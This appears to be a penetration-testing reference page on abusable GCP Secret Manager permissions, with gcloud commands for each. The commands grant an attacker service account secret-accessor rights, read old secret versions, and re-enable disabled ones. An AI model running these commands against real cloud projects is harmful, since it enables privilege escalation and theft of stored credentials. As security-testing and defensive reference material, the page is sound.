Secret Manager

Abusable GCP Secret Manager permissions that can lead to compromise or privilege escalation

secretmanager.secrets.setIamPolicy

• With this permission, an attacker can give themselves access to a secret by updating secret's resource policy. Additional roles aside from secretmanager.secretAccessor can also be used.

gcloud secrets add-iam-policy-binding <SECRET_NAME> \
  --project=$PROJECT_ID \
  --member="serviceAccount:<ATTACKER_SA>@<PROJECT>.iam.gserviceaccount.com" \
  --role="roles/secretmanager.secretAccessor"

---

secretmanager.versions.access

• Multiple versions of a secret may exist and/or may not be deleted. With this permission, an attacker can get previous versions of a secret.

gcloud secrets versions access latest --secret supersecret ## specify latest
gcloud secrets versions access <version-id> --secret supersecret ## specify a version

---

secretmanager.versions.enable + secretmanager.versions.access

• With these permissions, an attack can re-enable a particular version of a disabled secret.

gcloud secrets versions enable <version-id> --secret supersecret ## latest not supported
gcloud secrets versions access latest --secret supersecret ## specify latest
gcloud secrets versions access <version-id> --secret supersecret ## specify a version